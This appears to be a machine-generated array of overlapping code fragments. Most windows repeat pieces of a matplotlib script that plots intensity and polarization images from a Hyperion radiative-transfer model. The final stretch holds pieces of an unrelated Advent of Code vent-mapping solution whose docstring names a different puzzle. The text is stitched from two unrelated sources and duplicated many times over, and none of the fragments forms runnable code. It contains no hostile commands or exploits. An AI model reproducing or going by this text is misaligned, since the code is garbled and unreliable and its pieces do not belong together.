[ "fig = plt.figure(figsize=(8, 8)) # Make total intensity sub-plot ax = fig.add_axes([0.1, 0.3,", "ax.set_title(\"Linear Polarization\") ax.set_yticklabels('') axcb = fig.add_axes([0.92, 0.3, 0.02, 0.4]) cb=plt.colorbar(im, cax=axcb) cb.set_label('%') fig.savefig('pure_scattering_inner_disk.png',", "0.3, 0.4, 0.4]) ax.imshow(image_fnu.val[:, :, 0], extent=[-13, 13, -13, 13], interpolation='none', cmap=plt.cm.gist_heat, origin='lower',", "# Make linear polarization sub-plot ax = fig.add_axes([0.51, 0.3, 0.4, 0.4]) im =", "brightness\") # Make linear polarization sub-plot ax = fig.add_axes([0.51, 0.3, 0.4, 0.4]) im", "0], extent=[-13, 13, -13, 13], interpolation='none', cmap=plt.cm.gist_heat, origin='lower', vmin=0., vmax=4e9) ax.set_xlim(-13., 13.) ax.set_ylim(-13.,", "hyperion.model import ModelOutput from hyperion.util.constants import pc mo = ModelOutput('pure_scattering.rtout') image_fnu = mo.get_image(inclination=0,", "plt from hyperion.model import ModelOutput from hyperion.util.constants import pc mo = ModelOutput('pure_scattering.rtout') image_fnu", "13.) ax.set_ylim(-13., 13.) ax.set_xlabel(\"x (solar radii)\") ax.set_title(\"Linear Polarization\") ax.set_yticklabels('') axcb = fig.add_axes([0.92, 0.3,", "ModelOutput from hyperion.util.constants import pc mo = ModelOutput('pure_scattering.rtout') image_fnu = mo.get_image(inclination=0, units='MJy/sr', distance=300.", "0.3, 0.4, 0.4]) im = ax.imshow(image_pol.val[:, :, 0] * 100., extent=[-13, 13, -13,", "ax = fig.add_axes([0.51, 0.3, 0.4, 0.4]) im = ax.imshow(image_pol.val[:, :, 0] * 100.,", "= ax.imshow(image_pol.val[:, :, 0] * 100., extent=[-13, 13, -13, 13], interpolation='none', cmap=plt.cm.gist_heat, origin='lower',", "-13, 13], interpolation='none', cmap=plt.cm.gist_heat, origin='lower', vmin=0., vmax=100.) ax.set_xlim(-13., 13.) ax.set_ylim(-13., 13.) ax.set_xlabel(\"x (solar", "13], interpolation='none', cmap=plt.cm.gist_heat, origin='lower', vmin=0., vmax=100.) ax.set_xlim(-13., 13.) ax.set_ylim(-13., 13.) ax.set_xlabel(\"x (solar radii)\")", "cmap=plt.cm.gist_heat, origin='lower', vmin=0., vmax=4e9) ax.set_xlim(-13., 13.) ax.set_ylim(-13., 13.) ax.set_xlabel(\"x (solar radii)\") ax.set_ylabel(\"y (solar", ":, 0] * 100., extent=[-13, 13, -13, 13], interpolation='none', cmap=plt.cm.gist_heat, origin='lower', vmin=0., vmax=100.)", "= plt.figure(figsize=(8, 8)) # Make total intensity sub-plot ax = fig.add_axes([0.1, 0.3, 0.4,", "mo = ModelOutput('pure_scattering.rtout') image_fnu = mo.get_image(inclination=0, units='MJy/sr', distance=300. * pc) image_pol = mo.get_image(inclination=0,", "from hyperion.util.constants import pc mo = ModelOutput('pure_scattering.rtout') image_fnu = mo.get_image(inclination=0, units='MJy/sr', distance=300. *", "= fig.add_axes([0.51, 0.3, 0.4, 0.4]) im = ax.imshow(image_pol.val[:, :, 0] * 100., extent=[-13,", "sub-plot ax = fig.add_axes([0.1, 0.3, 0.4, 0.4]) ax.imshow(image_fnu.val[:, :, 0], extent=[-13, 13, -13,", "(solar radii)\") ax.set_title(\"Linear Polarization\") ax.set_yticklabels('') axcb = fig.add_axes([0.92, 0.3, 0.02, 0.4]) cb=plt.colorbar(im, cax=axcb)", "interpolation='none', cmap=plt.cm.gist_heat, origin='lower', vmin=0., vmax=4e9) ax.set_xlim(-13., 13.) ax.set_ylim(-13., 13.) ax.set_xlabel(\"x (solar radii)\") ax.set_ylabel(\"y", "Make linear polarization sub-plot ax = fig.add_axes([0.51, 0.3, 0.4, 0.4]) im = ax.imshow(image_pol.val[:,", "fig.add_axes([0.1, 0.3, 0.4, 0.4]) ax.imshow(image_fnu.val[:, :, 0], extent=[-13, 13, -13, 13], interpolation='none', cmap=plt.cm.gist_heat,", "13], interpolation='none', cmap=plt.cm.gist_heat, origin='lower', vmin=0., vmax=4e9) ax.set_xlim(-13., 13.) ax.set_ylim(-13., 13.) ax.set_xlabel(\"x (solar radii)\")", "0.4]) im = ax.imshow(image_pol.val[:, :, 0] * 100., extent=[-13, 13, -13, 13], interpolation='none',", "distance=300. * pc) image_pol = mo.get_image(inclination=0, stokes='linpol') fig = plt.figure(figsize=(8, 8)) # Make", "13, -13, 13], interpolation='none', cmap=plt.cm.gist_heat, origin='lower', vmin=0., vmax=4e9) ax.set_xlim(-13., 13.) ax.set_ylim(-13., 13.) ax.set_xlabel(\"x", "vmax=100.) ax.set_xlim(-13., 13.) ax.set_ylim(-13., 13.) ax.set_xlabel(\"x (solar radii)\") ax.set_title(\"Linear Polarization\") ax.set_yticklabels('') axcb =", "plt.figure(figsize=(8, 8)) # Make total intensity sub-plot ax = fig.add_axes([0.1, 0.3, 0.4, 0.4])", "# Make total intensity sub-plot ax = fig.add_axes([0.1, 0.3, 0.4, 0.4]) ax.imshow(image_fnu.val[:, :,", "ax.set_ylim(-13., 13.) ax.set_xlabel(\"x (solar radii)\") ax.set_title(\"Linear Polarization\") ax.set_yticklabels('') axcb = fig.add_axes([0.92, 0.3, 0.02,", "ax.set_xlabel(\"x (solar radii)\") ax.set_title(\"Linear Polarization\") ax.set_yticklabels('') axcb = fig.add_axes([0.92, 0.3, 0.02, 0.4]) cb=plt.colorbar(im,", "0.4, 0.4]) im = ax.imshow(image_pol.val[:, :, 0] * 100., extent=[-13, 13, -13, 13],", "mo.get_image(inclination=0, units='MJy/sr', distance=300. * pc) image_pol = mo.get_image(inclination=0, stokes='linpol') fig = plt.figure(figsize=(8, 8))", ":, 0], extent=[-13, 13, -13, 13], interpolation='none', cmap=plt.cm.gist_heat, origin='lower', vmin=0., vmax=4e9) ax.set_xlim(-13., 13.)", "ax.imshow(image_pol.val[:, :, 0] * 100., extent=[-13, 13, -13, 13], interpolation='none', cmap=plt.cm.gist_heat, origin='lower', vmin=0.,", "100., extent=[-13, 13, -13, 13], interpolation='none', cmap=plt.cm.gist_heat, origin='lower', vmin=0., vmax=100.) ax.set_xlim(-13., 13.) ax.set_ylim(-13.,", "vmin=0., vmax=100.) ax.set_xlim(-13., 13.) ax.set_ylim(-13., 13.) ax.set_xlabel(\"x (solar radii)\") ax.set_title(\"Linear Polarization\") ax.set_yticklabels('') axcb", "total intensity sub-plot ax = fig.add_axes([0.1, 0.3, 0.4, 0.4]) ax.imshow(image_fnu.val[:, :, 0], extent=[-13,", "ax = fig.add_axes([0.1, 0.3, 0.4, 0.4]) ax.imshow(image_fnu.val[:, :, 0], extent=[-13, 13, -13, 13],", "* pc) image_pol = mo.get_image(inclination=0, stokes='linpol') fig = plt.figure(figsize=(8, 8)) # Make total", "radii)\") ax.set_title(\"Surface brightness\") # Make linear polarization sub-plot ax = fig.add_axes([0.51, 0.3, 0.4,", "mo.get_image(inclination=0, stokes='linpol') fig = plt.figure(figsize=(8, 8)) # Make total intensity sub-plot ax =", "13.) ax.set_xlabel(\"x (solar radii)\") ax.set_ylabel(\"y (solar radii)\") ax.set_title(\"Surface brightness\") # Make linear polarization", "13.) ax.set_xlabel(\"x (solar radii)\") ax.set_title(\"Linear Polarization\") ax.set_yticklabels('') axcb = fig.add_axes([0.92, 0.3, 0.02, 0.4])", "(solar radii)\") ax.set_title(\"Surface brightness\") # Make linear polarization sub-plot ax = fig.add_axes([0.51, 0.3,", "linear polarization sub-plot ax = fig.add_axes([0.51, 0.3, 0.4, 0.4]) im = ax.imshow(image_pol.val[:, :,", "0.4, 0.4]) ax.imshow(image_fnu.val[:, :, 0], extent=[-13, 13, -13, 13], interpolation='none', cmap=plt.cm.gist_heat, origin='lower', vmin=0.,", "matplotlib.pyplot as plt from hyperion.model import ModelOutput from hyperion.util.constants import pc mo =", "pc mo = ModelOutput('pure_scattering.rtout') image_fnu = mo.get_image(inclination=0, units='MJy/sr', distance=300. * pc) image_pol =", "0] * 100., extent=[-13, 13, -13, 13], interpolation='none', cmap=plt.cm.gist_heat, origin='lower', vmin=0., vmax=100.) ax.set_xlim(-13.,", "hyperion.util.constants import pc mo = ModelOutput('pure_scattering.rtout') image_fnu = mo.get_image(inclination=0, units='MJy/sr', distance=300. * pc)", "units='MJy/sr', distance=300. * pc) image_pol = mo.get_image(inclination=0, stokes='linpol') fig = plt.figure(figsize=(8, 8)) #", "ax.set_xlim(-13., 13.) ax.set_ylim(-13., 13.) ax.set_xlabel(\"x (solar radii)\") ax.set_title(\"Linear Polarization\") ax.set_yticklabels('') axcb = fig.add_axes([0.92,", "ax.set_ylabel(\"y (solar radii)\") ax.set_title(\"Surface brightness\") # Make linear polarization sub-plot ax = fig.add_axes([0.51,", "8)) # Make total intensity sub-plot ax = fig.add_axes([0.1, 0.3, 0.4, 0.4]) ax.imshow(image_fnu.val[:,", "origin='lower', vmin=0., vmax=100.) ax.set_xlim(-13., 13.) ax.set_ylim(-13., 13.) ax.set_xlabel(\"x (solar radii)\") ax.set_title(\"Linear Polarization\") ax.set_yticklabels('')", "* 100., extent=[-13, 13, -13, 13], interpolation='none', cmap=plt.cm.gist_heat, origin='lower', vmin=0., vmax=100.) ax.set_xlim(-13., 13.)", "0.4]) ax.imshow(image_fnu.val[:, :, 0], extent=[-13, 13, -13, 13], interpolation='none', cmap=plt.cm.gist_heat, origin='lower', vmin=0., vmax=4e9)", "= fig.add_axes([0.1, 0.3, 0.4, 0.4]) ax.imshow(image_fnu.val[:, :, 0], extent=[-13, 13, -13, 13], interpolation='none',", "pc) image_pol = mo.get_image(inclination=0, stokes='linpol') fig = plt.figure(figsize=(8, 8)) # Make total intensity", "vmax=4e9) ax.set_xlim(-13., 13.) ax.set_ylim(-13., 13.) ax.set_xlabel(\"x (solar radii)\") ax.set_ylabel(\"y (solar radii)\") ax.set_title(\"Surface brightness\")", "origin='lower', vmin=0., vmax=4e9) ax.set_xlim(-13., 13.) ax.set_ylim(-13., 13.) ax.set_xlabel(\"x (solar radii)\") ax.set_ylabel(\"y (solar radii)\")", "13, -13, 13], interpolation='none', cmap=plt.cm.gist_heat, origin='lower', vmin=0., vmax=100.) ax.set_xlim(-13., 13.) ax.set_ylim(-13., 13.) ax.set_xlabel(\"x", "ax.set_xlim(-13., 13.) ax.set_ylim(-13., 13.) ax.set_xlabel(\"x (solar radii)\") ax.set_ylabel(\"y (solar radii)\") ax.set_title(\"Surface brightness\") #", "import matplotlib.pyplot as plt from hyperion.model import ModelOutput from hyperion.util.constants import pc mo", "stokes='linpol') fig = plt.figure(figsize=(8, 8)) # Make total intensity sub-plot ax = fig.add_axes([0.1,", "ax.imshow(image_fnu.val[:, :, 0], extent=[-13, 13, -13, 13], interpolation='none', cmap=plt.cm.gist_heat, origin='lower', vmin=0., vmax=4e9) ax.set_xlim(-13.,", "(solar radii)\") ax.set_ylabel(\"y (solar radii)\") ax.set_title(\"Surface brightness\") # Make linear polarization sub-plot ax", "= mo.get_image(inclination=0, units='MJy/sr', distance=300. * pc) image_pol = mo.get_image(inclination=0, stokes='linpol') fig = plt.figure(figsize=(8,", "import ModelOutput from hyperion.util.constants import pc mo = ModelOutput('pure_scattering.rtout') image_fnu = mo.get_image(inclination=0, units='MJy/sr',", "extent=[-13, 13, -13, 13], interpolation='none', cmap=plt.cm.gist_heat, origin='lower', vmin=0., vmax=4e9) ax.set_xlim(-13., 13.) ax.set_ylim(-13., 13.)", "ModelOutput('pure_scattering.rtout') image_fnu = mo.get_image(inclination=0, units='MJy/sr', distance=300. * pc) image_pol = mo.get_image(inclination=0, stokes='linpol') fig", "radii)\") ax.set_ylabel(\"y (solar radii)\") ax.set_title(\"Surface brightness\") # Make linear polarization sub-plot ax =", "import pc mo = ModelOutput('pure_scattering.rtout') image_fnu = mo.get_image(inclination=0, units='MJy/sr', distance=300. * pc) image_pol", "cmap=plt.cm.gist_heat, origin='lower', vmin=0., vmax=100.) ax.set_xlim(-13., 13.) ax.set_ylim(-13., 13.) ax.set_xlabel(\"x (solar radii)\") ax.set_title(\"Linear Polarization\")", "ax.set_xlabel(\"x (solar radii)\") ax.set_ylabel(\"y (solar radii)\") ax.set_title(\"Surface brightness\") # Make linear polarization sub-plot", "extent=[-13, 13, -13, 13], interpolation='none', cmap=plt.cm.gist_heat, origin='lower', vmin=0., vmax=100.) ax.set_xlim(-13., 13.) ax.set_ylim(-13., 13.)", "13.) ax.set_ylim(-13., 13.) ax.set_xlabel(\"x (solar radii)\") ax.set_ylabel(\"y (solar radii)\") ax.set_title(\"Surface brightness\") # Make", "radii)\") ax.set_title(\"Linear Polarization\") ax.set_yticklabels('') axcb = fig.add_axes([0.92, 0.3, 0.02, 0.4]) cb=plt.colorbar(im, cax=axcb) cb.set_label('%')", "Make total intensity sub-plot ax = fig.add_axes([0.1, 0.3, 0.4, 0.4]) ax.imshow(image_fnu.val[:, :, 0],", "sub-plot ax = fig.add_axes([0.51, 0.3, 0.4, 0.4]) im = ax.imshow(image_pol.val[:, :, 0] *", "image_fnu = mo.get_image(inclination=0, units='MJy/sr', distance=300. * pc) image_pol = mo.get_image(inclination=0, stokes='linpol') fig =", "-13, 13], interpolation='none', cmap=plt.cm.gist_heat, origin='lower', vmin=0., vmax=4e9) ax.set_xlim(-13., 13.) ax.set_ylim(-13., 13.) ax.set_xlabel(\"x (solar", "interpolation='none', cmap=plt.cm.gist_heat, origin='lower', vmin=0., vmax=100.) ax.set_xlim(-13., 13.) ax.set_ylim(-13., 13.) ax.set_xlabel(\"x (solar radii)\") ax.set_title(\"Linear", "intensity sub-plot ax = fig.add_axes([0.1, 0.3, 0.4, 0.4]) ax.imshow(image_fnu.val[:, :, 0], extent=[-13, 13,", "fig.add_axes([0.51, 0.3, 0.4, 0.4]) im = ax.imshow(image_pol.val[:, :, 0] * 100., extent=[-13, 13,", "im = ax.imshow(image_pol.val[:, :, 0] * 100., extent=[-13, 13, -13, 13], interpolation='none', cmap=plt.cm.gist_heat,", "= ModelOutput('pure_scattering.rtout') image_fnu = mo.get_image(inclination=0, units='MJy/sr', distance=300. * pc) image_pol = mo.get_image(inclination=0, stokes='linpol')", "Polarization\") ax.set_yticklabels('') axcb = fig.add_axes([0.92, 0.3, 0.02, 0.4]) cb=plt.colorbar(im, cax=axcb) cb.set_label('%') fig.savefig('pure_scattering_inner_disk.png', bbox_inches='tight')", "ax.set_ylim(-13., 13.) ax.set_xlabel(\"x (solar radii)\") ax.set_ylabel(\"y (solar radii)\") ax.set_title(\"Surface brightness\") # Make linear", "ax.set_title(\"Surface brightness\") # Make linear polarization sub-plot ax = fig.add_axes([0.51, 0.3, 0.4, 0.4])", "image_pol = mo.get_image(inclination=0, stokes='linpol') fig = plt.figure(figsize=(8, 8)) # Make total intensity sub-plot", "= mo.get_image(inclination=0, stokes='linpol') fig = plt.figure(figsize=(8, 8)) # Make total intensity sub-plot ax", "from hyperion.model import ModelOutput from hyperion.util.constants import pc mo = ModelOutput('pure_scattering.rtout') image_fnu =", "as plt from hyperion.model import ModelOutput from hyperion.util.constants import pc mo = ModelOutput('pure_scattering.rtout')", "polarization sub-plot ax = fig.add_axes([0.51, 0.3, 0.4, 0.4]) im = ax.imshow(image_pol.val[:, :, 0]", "vmin=0., vmax=4e9) ax.set_xlim(-13., 13.) ax.set_ylim(-13., 13.) ax.set_xlabel(\"x (solar radii)\") ax.set_ylabel(\"y (solar radii)\") ax.set_title(\"Surface" ]
[ "version number\"\"\" from hug_peewee._version import current from hug_peewee.connection import ENGINES from hug_peewee import", "\"\"\"Defines how the hug_peewee package exposes modules as well as exposes it's version", "modules as well as exposes it's version number\"\"\" from hug_peewee._version import current from", "how the hug_peewee package exposes modules as well as exposes it's version number\"\"\"", "as exposes it's version number\"\"\" from hug_peewee._version import current from hug_peewee.connection import ENGINES", "it's version number\"\"\" from hug_peewee._version import current from hug_peewee.connection import ENGINES from hug_peewee", "from hug_peewee._version import current from hug_peewee.connection import ENGINES from hug_peewee import connection __version__", "hug_peewee package exposes modules as well as exposes it's version number\"\"\" from hug_peewee._version", "number\"\"\" from hug_peewee._version import current from hug_peewee.connection import ENGINES from hug_peewee import connection", "well as exposes it's version number\"\"\" from hug_peewee._version import current from hug_peewee.connection import", "as well as exposes it's version number\"\"\" from hug_peewee._version import current from hug_peewee.connection", "import current from hug_peewee.connection import ENGINES from hug_peewee import connection __version__ = current", "exposes modules as well as exposes it's version number\"\"\" from hug_peewee._version import current", "hug_peewee._version import current from hug_peewee.connection import ENGINES from hug_peewee import connection __version__ =", "package exposes modules as well as exposes it's version number\"\"\" from hug_peewee._version import", "exposes it's version number\"\"\" from hug_peewee._version import current from hug_peewee.connection import ENGINES from", "the hug_peewee package exposes modules as well as exposes it's version number\"\"\" from" ]
[ "inspect # necessary to import aoc2021/utils.py moudule currentdir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe()))) parentdir = os.path.dirname(currentdir)", "'..')) import utils exampledata = ['0,9 -> 5,9', '8,0 -> 0,8', '9,4 ->", "valuecoord pointpair += (point,) res.append(pointpair) # return a list of points-pair (x1,y1) and", "moudule currentdir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe()))) parentdir = os.path.dirname(currentdir) sys.path.insert(1, os.path.join(sys.path[0], '..')) import utils exampledata", "return res def main(): inputdata = [] # run script with arguments: load", "in closedrange_diag( (x1,y1), (x2,y2) ): ventmap[y][x] += 1 return vent_counter(ventmap,2) def closedrange_diag(start, stop):", "for i in range(max_y+1)] # to index the ventmap: ventmap[y][x] for ventsegment in", "\"\"\"Given the already parsed input data from puzzle aoc2021day05 return the final solution", "answer: 5 print(f\"Answer (part 2): {vent_mapper(inputdata, True)}\") # Correct example answer: 12 pass", "-> 8,2'] def input_parser(inputdata): \"\"\"Given the input of the puzzle represent it with", "== y2): for x in closedrange(x1, x2): ventmap[y1][x] += 1 # diagonal line", "line from (x1,y1) to (x2,y2)\" x1, y1 = start x2, y2 = stop", "res +=1 return res def main(): inputdata = [] # run script with", "Max x coordinate value from all points max_y : int Max y coordinate", "i in range(max_y+1)] # to index the ventmap: ventmap[y][x] for ventsegment in ventpointpairs:", "ventsegment in ventpointpairs: x1,y1 = ventsegment[0] x2,y2 = ventsegment[1] # only horizontal and", "ventsegment[0] x2,y2 = ventsegment[1] # only horizontal and vertical lines if(x1 == x2):", "each being a line of the raw input file. max_x : int Max", "example data else: inputdata = exampledata print(f\"Puzzle input (example)\") print(f\"{exampledata}\\n\") print(f\"Answer (part 1):", "points describe a diagonal line, include them in the mapping. The default behavior", "in closedrange(y1, y2): ventmap[y][x1] += 1 elif(y1 == y2): for x in closedrange(x1,", "print(f\"Puzzle input (example)\") print(f\"{exampledata}\\n\") print(f\"Answer (part 1): {vent_mapper(inputdata)}\\n\") # Correct example answer: 5", "(include_diagonal_lines): for x,y in closedrange_diag( (x1,y1), (x2,y2) ): ventmap[y][x] += 1 return vent_counter(ventmap,2)", "2): {vent_mapper(inputdata, True)}\") # Correct example answer: 12 pass if __name__ == \"__main__\":", "solution Parameters ---------- inputdata : list A list of tuples, each tuple representing", "stop + step, step) def vent_mapper(inputdata, include_diagonal_lines=False): \"\"\"Given the already parsed input data", "ventmap[y][x] for ventsegment in ventpointpairs: x1,y1 = ventsegment[0] x2,y2 = ventsegment[1] # only", "a tuple (int,int). include_diagonal_lines : bool (Default=False) If points describe a diagonal line,", "the ventmap: ventmap[y][x] for ventsegment in ventpointpairs: x1,y1 = ventsegment[0] x2,y2 = ventsegment[1]", "load example data else: inputdata = exampledata print(f\"Puzzle input (example)\") print(f\"{exampledata}\\n\") print(f\"Answer (part", "the mapping. The default behavior is to only include vertical o diagonal lines", "1 if (start<=stop) else -1 return range(start, stop + step, step) def vent_mapper(inputdata,", "coordinate value from all points max_y : int Max y coordinate value from", "from a 45º diagonal line from (x1,y1) to (x2,y2)\" x1, y1 = start", "Giant Squid\"\"\" import sys, os, inspect # necessary to import aoc2021/utils.py moudule currentdir", "45 degrees elif (include_diagonal_lines): for x,y in closedrange_diag( (x1,y1), (x2,y2) ): ventmap[y][x] +=", "os, inspect # necessary to import aoc2021/utils.py moudule currentdir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe()))) parentdir =", "in ventpointpairs: x1,y1 = ventsegment[0] x2,y2 = ventsegment[1] # only horizontal and vertical", "strpoint = strpoint.strip() point = () for indexcoord, strcoord in enumerate(strpoint.split(',')): valuecoord =", "if(indexcoord==0 and max_x<valuecoord): max_x = valuecoord elif(0<indexcoord and max_y<valuecoord): max_y = valuecoord pointpair", "-> 7,4', '6,4 -> 2,0', '0,9 -> 2,9', '3,4 -> 1,4', '0,0 ->", "max_x, max_y = input_parser(inputdata) ventmap = [[0]*(max_x+1) for i in range(max_y+1)] # to", "points. Each point itself is a tuple (int,int). include_diagonal_lines : bool (Default=False) If", "int Max y coordinate value from all points \"\"\" res = [] max_x", "tuples, each tuple representing a pair of points. Each point itself is a", "strcoord in enumerate(strpoint.split(',')): valuecoord = int(strcoord) point += (valuecoord,) if(indexcoord==0 and max_x<valuecoord): max_x", "() for strpoint in line.split('->'): strpoint = strpoint.strip() point = () for indexcoord,", "all points (x,y) from a 45º diagonal line from (x1,y1) to (x2,y2)\" x1,", "def main(): inputdata = [] # run script with arguments: load the input", "is greater\" step = 1 if (start<=stop) else -1 return range(start, stop +", "'3,4 -> 1,4', '0,0 -> 8,8', '5,5 -> 8,2'] def input_parser(inputdata): \"\"\"Given the", "inputdata = exampledata print(f\"Puzzle input (example)\") print(f\"{exampledata}\\n\") print(f\"Answer (part 1): {vent_mapper(inputdata)}\\n\") # Correct", "and (x2,y2) # each point is a pair x,y coordinates return res, max_x,", "import utils exampledata = ['0,9 -> 5,9', '8,0 -> 0,8', '9,4 -> 3,4',", "import aoc2021/utils.py moudule currentdir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe()))) parentdir = os.path.dirname(currentdir) sys.path.insert(1, os.path.join(sys.path[0], '..')) import", "int Max x coordinate value from all points max_y : int Max y", "include vertical o diagonal lines \"\"\" ventpointpairs, max_x, max_y = input_parser(inputdata) ventmap =", "them in the mapping. The default behavior is to only include vertical o", "+= 1 return vent_counter(ventmap,2) def closedrange_diag(start, stop): \"Return all points (x,y) from a", "it with a list of tuples Parameters ---------- inputdata : list A list", "-> 2,1', '7,0 -> 7,4', '6,4 -> 2,0', '0,9 -> 2,9', '3,4 ->", "x2), closedrange(y1, y2)) def vent_counter(ventmap, overlap): res = 0 for ventrow in ventmap:", "max_y : int Max y coordinate value from all points \"\"\" res =", "= 0 for line in inputdata: pointpair = () for strpoint in line.split('->'):", "+=1 return res def main(): inputdata = [] # run script with arguments:", "representing a pair of points. Each point itself is a tuple (int,int). include_diagonal_lines", "0,8', '9,4 -> 3,4', '2,2 -> 2,1', '7,0 -> 7,4', '6,4 -> 2,0',", "which one is greater\" step = 1 if (start<=stop) else -1 return range(start,", "utils exampledata = ['0,9 -> 5,9', '8,0 -> 0,8', '9,4 -> 3,4', '2,2", "for strpoint in line.split('->'): strpoint = strpoint.strip() point = () for indexcoord, strcoord", "= strpoint.strip() point = () for indexcoord, strcoord in enumerate(strpoint.split(',')): valuecoord = int(strcoord)", "return range(start, stop + step, step) def vent_mapper(inputdata, include_diagonal_lines=False): \"\"\"Given the already parsed", "script with arguments: load the input file if(2 <= len(sys.argv)): inputdata = utils.loadinput(sys.argv[1])", "(Default=False) If points describe a diagonal line, include them in the mapping. The", "all points \"\"\" res = [] max_x = 0 max_y = 0 for", "vertical o diagonal lines \"\"\" ventpointpairs, max_x, max_y = input_parser(inputdata) ventmap = [[0]*(max_x+1)", "---------- inputdata : list A list of tuples, each tuple representing a pair", "elif(0<indexcoord and max_y<valuecoord): max_y = valuecoord pointpair += (point,) res.append(pointpair) # return a", "max_x = 0 max_y = 0 for line in inputdata: pointpair = ()", "exampledata = ['0,9 -> 5,9', '8,0 -> 0,8', '9,4 -> 3,4', '2,2 ->", "greater\" step = 1 if (start<=stop) else -1 return range(start, stop + step,", "= ['0,9 -> 5,9', '8,0 -> 0,8', '9,4 -> 3,4', '2,2 -> 2,1',", "list of strings, each being a line of the raw input file. max_x", "degrees elif (include_diagonal_lines): for x,y in closedrange_diag( (x1,y1), (x2,y2) ): ventmap[y][x] += 1", "line in inputdata: pointpair = () for strpoint in line.split('->'): strpoint = strpoint.strip()", "enumerate(strpoint.split(',')): valuecoord = int(strcoord) point += (valuecoord,) if(indexcoord==0 and max_x<valuecoord): max_x = valuecoord", "for y in closedrange(y1, y2): ventmap[y][x1] += 1 elif(y1 == y2): for x", "strpoint in line.split('->'): strpoint = strpoint.strip() point = () for indexcoord, strcoord in", "lines if(x1 == x2): for y in closedrange(y1, y2): ventmap[y][x1] += 1 elif(y1", "in range(max_y+1)] # to index the ventmap: ventmap[y][x] for ventsegment in ventpointpairs: x1,y1", "step) def vent_mapper(inputdata, include_diagonal_lines=False): \"\"\"Given the already parsed input data from puzzle aoc2021day05", "matter which one is greater\" step = 1 if (start<=stop) else -1 return", "closedrange(x1, x2): ventmap[y1][x] += 1 # diagonal line at exactly 45 degrees elif", "to (x2,y2)\" x1, y1 = start x2, y2 = stop return zip(closedrange(x1, x2),", "-> 3,4', '2,2 -> 2,1', '7,0 -> 7,4', '6,4 -> 2,0', '0,9 ->", "include them in the mapping. The default behavior is to only include vertical", "import sys, os, inspect # necessary to import aoc2021/utils.py moudule currentdir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))", "-> 8,8', '5,5 -> 8,2'] def input_parser(inputdata): \"\"\"Given the input of the puzzle", "ventmap[y1][x] += 1 # diagonal line at exactly 45 degrees elif (include_diagonal_lines): for", "# necessary to import aoc2021/utils.py moudule currentdir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe()))) parentdir = os.path.dirname(currentdir) sys.path.insert(1,", "max_y def closedrange(start, stop): \"Return all values in the interval [start,stop] no matter", "describe a diagonal line, include them in the mapping. The default behavior is", "only include vertical o diagonal lines \"\"\" ventpointpairs, max_x, max_y = input_parser(inputdata) ventmap", "if(x1 == x2): for y in closedrange(y1, y2): ventmap[y][x1] += 1 elif(y1 ==", "-> 0,8', '9,4 -> 3,4', '2,2 -> 2,1', '7,0 -> 7,4', '6,4 ->", "tuples Parameters ---------- inputdata : list A list of strings, each being a", "pointpair = () for strpoint in line.split('->'): strpoint = strpoint.strip() point = ()", "else: inputdata = exampledata print(f\"Puzzle input (example)\") print(f\"{exampledata}\\n\") print(f\"Answer (part 1): {vent_mapper(inputdata)}\\n\") #", "necessary to import aoc2021/utils.py moudule currentdir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe()))) parentdir = os.path.dirname(currentdir) sys.path.insert(1, os.path.join(sys.path[0],", "all points max_y : int Max y coordinate value from all points \"\"\"", "list A list of strings, each being a line of the raw input", "parsed input data from puzzle aoc2021day05 return the final solution Parameters ---------- inputdata", "stop): \"Return all points (x,y) from a 45º diagonal line from (x1,y1) to", "# run script with no arguments: load example data else: inputdata = exampledata", "pointpair += (point,) res.append(pointpair) # return a list of points-pair (x1,y1) and (x2,y2)", "\"\"\"Day 4: Giant Squid\"\"\" import sys, os, inspect # necessary to import aoc2021/utils.py", "= 1 if (start<=stop) else -1 return range(start, stop + step, step) def", "return a list of points-pair (x1,y1) and (x2,y2) # each point is a", "= valuecoord pointpair += (point,) res.append(pointpair) # return a list of points-pair (x1,y1)", "and vertical lines if(x1 == x2): for y in closedrange(y1, y2): ventmap[y][x1] +=", "y1 = start x2, y2 = stop return zip(closedrange(x1, x2), closedrange(y1, y2)) def", "# diagonal line at exactly 45 degrees elif (include_diagonal_lines): for x,y in closedrange_diag(", "diagonal line at exactly 45 degrees elif (include_diagonal_lines): for x,y in closedrange_diag( (x1,y1),", "1 return vent_counter(ventmap,2) def closedrange_diag(start, stop): \"Return all points (x,y) from a 45º", "[start,stop] no matter which one is greater\" step = 1 if (start<=stop) else", "ventrow: if (overlap <= ventelem): res +=1 return res def main(): inputdata =", "is to only include vertical o diagonal lines \"\"\" ventpointpairs, max_x, max_y =", "(valuecoord,) if(indexcoord==0 and max_x<valuecoord): max_x = valuecoord elif(0<indexcoord and max_y<valuecoord): max_y = valuecoord", "the interval [start,stop] no matter which one is greater\" step = 1 if", "0 max_y = 0 for line in inputdata: pointpair = () for strpoint", "closedrange(y1, y2): ventmap[y][x1] += 1 elif(y1 == y2): for x in closedrange(x1, x2):", "max_y<valuecoord): max_y = valuecoord pointpair += (point,) res.append(pointpair) # return a list of", "range(start, stop + step, step) def vent_mapper(inputdata, include_diagonal_lines=False): \"\"\"Given the already parsed input", "'9,4 -> 3,4', '2,2 -> 2,1', '7,0 -> 7,4', '6,4 -> 2,0', '0,9", "being a line of the raw input file. Returns ---------- inputdata : list", "(part 1): {vent_mapper(inputdata)}\\n\") # Correct example answer: 5 print(f\"Answer (part 2): {vent_mapper(inputdata, True)}\")", "7,4', '6,4 -> 2,0', '0,9 -> 2,9', '3,4 -> 1,4', '0,0 -> 8,8',", "default behavior is to only include vertical o diagonal lines \"\"\" ventpointpairs, max_x,", "input file. max_x : int Max x coordinate value from all points max_y", "input (example)\") print(f\"{exampledata}\\n\") print(f\"Answer (part 1): {vent_mapper(inputdata)}\\n\") # Correct example answer: 5 print(f\"Answer", "-> 2,9', '3,4 -> 1,4', '0,0 -> 8,8', '5,5 -> 8,2'] def input_parser(inputdata):", "aoc2021day05 return the final solution Parameters ---------- inputdata : list A list of", "a 45º diagonal line from (x1,y1) to (x2,y2)\" x1, y1 = start x2,", "x1,y1 = ventsegment[0] x2,y2 = ventsegment[1] # only horizontal and vertical lines if(x1", "1 elif(y1 == y2): for x in closedrange(x1, x2): ventmap[y1][x] += 1 #", "The default 